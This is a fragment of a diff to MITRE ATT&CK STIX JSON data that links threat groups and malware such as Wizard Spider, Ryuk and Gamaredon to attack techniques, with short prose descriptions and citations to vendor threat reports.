ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", + "source_name": "FireEye KEGTAP SINGLEMALT October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--57f8c6d0-406d-4e97-b3ff-5b2f0274231b", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used scheduled tasks establish persistence for [TrickBot](https://attack.mitre.org/software/S0266) and other malware.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-11-10T18:04:02.180Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T13:20:59.339Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", + "source_name": "FireEye KEGTAP SINGLEMALT October 2020" + }, + { + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", + "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--73baa214-fbe6-477e-9beb-d1a08a6d117f", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used macros to execute PowerShell scripts to download malware on victim's machines.(Citation: CrowdStrike Grim Spider May 2019) It has also used PowerShell to execute commands and move laterally through a victim network.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2020-11-10T17:28:19.684Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T13:20:59.343Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", + "source_name": "FireEye KEGTAP SINGLEMALT October 2020" + }, + { + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", + "source_name": "Red Canary Hospital Thwarted Ryuk October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5c252868-1474-4fed-b3b2-07a6d3415034", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used file deletion to remove some modules and configurations from an infected host after use.(Citation: CrowdStrike Grim Spider May 2019)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-05-13T13:58:12.424Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T13:58:12.424Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. 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Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2b5965fe-b178-4c03-91af-942491c79302", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has installed [TrickBot](https://attack.mitre.org/software/S0266) as a service named ControlServiceA in order to establish persistence.(Citation: CrowdStrike Grim Spider May 2019)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2020-05-13T13:58:12.493Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T13:58:12.493Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. 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Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4f243ab6-812f-4fd3-9607-8d94409a94c1", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used stolen credentials to copy tools into the %TEMP% directory of domain controllers.(Citation: CrowdStrike Grim Spider May 2019)", + "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "modified": "2020-05-15T18:52:17.533Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T15:28:06.633Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). 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Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--43fabcba-66b6-45dc-b905-926f0a0a2bba", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used RDP for lateral movement.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "modified": "2020-11-10T17:28:19.792Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T15:28:06.685Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. 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Retrieved November 6, 2020.", + "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c51d9123-7f7e-41e6-8cf7-7c7dc4170ca0", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has exfiltrated domain credentials and network enumeration information over command and control (C2) channels.(Citation: CrowdStrike Grim Spider May 2019)", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2020-05-15T18:52:17.609Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T16:45:50.311Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--93cd9a2c-48e3-4a95-90fb-6436afcfa7a8", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used HTTP for network communications.(Citation: CrowdStrike Grim Spider May 2019)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-05-13T16:45:50.316Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T16:45:50.316Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). 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Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2c54816e-5dd1-4723-99f5-29c80a2fc171", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has collected and staged credentials and network enumeration information, using the networkdll and psfin [TrickBot](https://attack.mitre.org/software/S0266) modules.(Citation: CrowdStrike Grim Spider May 2019)", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "modified": "2020-05-13T16:45:50.317Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T16:45:50.317Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5a2c4561-48e4-4d51-8f00-ff470a18df32", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) used Base64 encoding to obfuscate an [Empire](https://attack.mitre.org/software/S0363) service and PowerShell commands.(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: DFIR Ryuk's Return October 2020)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-11-10T17:02:41.068Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T17:16:11.074Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.", + "source_name": "FireEye Ryuk and Trickbot January 2019" + }, + { + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.", + "source_name": "DFIR Ryuk's Return October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--df13cae2-4e20-4e89-ae60-6bd8b99e2342", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used networkdll for network discovery and psfin specifically for financial and point of sale indicators. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also used [AdFind](https://attack.mitre.org/software/S0552) and nltest/dclist to enumerate domain computers, including the domain controller.(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: CrowdStrike Grim Spider May 2019)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: DFIR Ryuk's Return October 2020)", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "modified": "2020-12-28T19:06:02.060Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T17:16:11.123Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.", + "source_name": "FireEye Ryuk and Trickbot January 2019" + }, + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", + "source_name": "FireEye KEGTAP SINGLEMALT October 2020" + }, + { + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", + "source_name": "Red Canary Hospital Thwarted Ryuk October 2020" + }, + { + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.", + "source_name": "DFIR Ryuk's Return October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ad06b85a-a0df-41aa-8f45-f41504987918", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used valid credentials for privileged accounts with the goal of accessing domain controllers.(Citation: CrowdStrike Grim Spider May 2019) ", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "modified": "2020-05-15T18:52:17.644Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T17:16:11.136Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2d49852d-083e-4379-90e3-dcb0748be624", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has used HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, and the Startup folder to establish persistence.(Citation: Group IB Silence Sept 2018)\t", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-05-13T19:06:23.890Z", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T19:06:23.890Z", + "external_references": [ + { + "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf", + "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", + "source_name": "Group IB Silence Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--28a76700-4834-4a1b-bb56-2005bc044e29", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has injected a DLL library containing a Trojan into the fwmain32.exe process.(Citation: Group IB Silence Sept 2018)", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "modified": "2020-05-13T19:06:23.909Z", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T19:06:23.909Z", + "external_references": [ + { + "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf", + "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", + "source_name": "Group IB Silence Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6fc128ed-90f3-4933-8ad7-4fd4a04cb39f", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has used RAdmin, a remote software tool used to remotely control workstations and ATMs.(Citation: Group IB Silence Sept 2018)", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "modified": "2020-05-13T19:06:23.916Z", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T19:06:23.916Z", + "external_references": [ + { + "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf", + "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", + "source_name": "Group IB Silence Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--89077d0b-aaa2-48b9-90d7-e253a550bfad", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has used ProxyBot, which allows the attacker to redirect traffic from the current node to the backconnect server via Sock4\\Socks5.(Citation: Group IB Silence Sept 2018)\t", + "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "modified": "2020-05-13T19:06:23.919Z", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T19:06:23.919Z", + "external_references": [ + { + "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf", + "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", + "source_name": "Group IB Silence Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--01c982c2-f610-443f-ae60-1b4a1f508f81", + "description": "[Silence](https://attack.mitre.org/groups/G0091) has used port 444 when sending data about the system from the client to the server.(Citation: Group IB Silence Sept 2018)\t", + "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", + "modified": "2020-05-13T19:06:23.934Z", + "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T19:06:23.934Z", + "external_references": [ + { + "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf", + "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", + "source_name": "Group IB Silence Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--aa4038e3-451f-4ad7-acc7-5c971825967b", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) saved malicious files within the AppData and Startup folders to maintain persistence.(Citation: Kaspersky MoleRATs April 2019)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-05-14T14:30:09.500Z", + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T19:39:41.704Z", + "external_references": [ + { + "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", + "description": "GReAT. (2019, April 10). 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Retrieved May 12, 2020.", + "source_name": "CrowdStrike Ryuk January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--adbb2fb8-9a9f-4068-b123-7b557491861d", + "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files. Files have been encrypted with their own AES key and given a file extension of .RYK. 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WIZARD SPIDER Update: Resilient, Reactive and Resolute. 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Retrieved May 12, 2020.", + "source_name": "FOX-IT May 2016 Mofang" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--980a5f66-14d7-42c6-82f7-ef96cbab77bb", + "description": "[ShimRat](https://attack.mitre.org/software/S0444) has decompressed its core DLL using shellcode once an impersonated antivirus component was running on a system.(Citation: FOX-IT May 2016 Mofang)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2020-05-27T23:28:38.310Z", + "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-15T15:04:34.552Z", + "external_references": [ + { + "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", + "description": "Yonathan Klijnsma. (2016, May 17). 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Retrieved October 28, 2020.", + "source_name": "FireEye KEGTAP SINGLEMALT October 2020" + }, + { + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", + "source_name": "Red Canary Hospital Thwarted Ryuk October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d331f4b3-047a-4418-9611-f2b8445692b3", + "description": "[Lokibot](https://attack.mitre.org/software/S0447) has the ability to discover the domain name of the infected host.(Citation: FSecure Lokibot November 2019)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2020-05-18T13:38:59.051Z", + "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-18T13:38:59.051Z", + "external_references": [ + { + "url": "https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml", + "description": "Kazem, M. (2019, November 25). Trojan:W32/Lokibot. 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(2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020.", + "source_name": "ClearSky MuddyWater June 2019" + }, + { + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. 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Retrieved May 19, 2020.", + "source_name": "Bitdefender Agent Tesla April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1cd41777-3d65-4e39-8de7-3951d1568c16", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has been executed through malicious e-mail attachments (Citation: Bitdefender Agent Tesla April 2020)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-05-20T13:38:07.117Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-19T17:32:26.498Z", + "external_references": [ + { + "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", + "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020.", + "source_name": "Bitdefender Agent Tesla April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bda5489b-7735-4793-8816-fc2238f6957f", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools can delete files used during an infection.(Citation: TrendMicro Gamaredon April 2020)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-06-22T17:55:32.117Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-19T20:39:12.429Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", + "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.", + "source_name": "TrendMicro Gamaredon April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f2d0fd0d-7bfc-4f3e-bd78-2d691c476046", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools have registered Run keys in the registry to give malicious VBS files persistence.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2021-01-20T22:20:21.191Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-19T20:39:12.450Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", + "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure 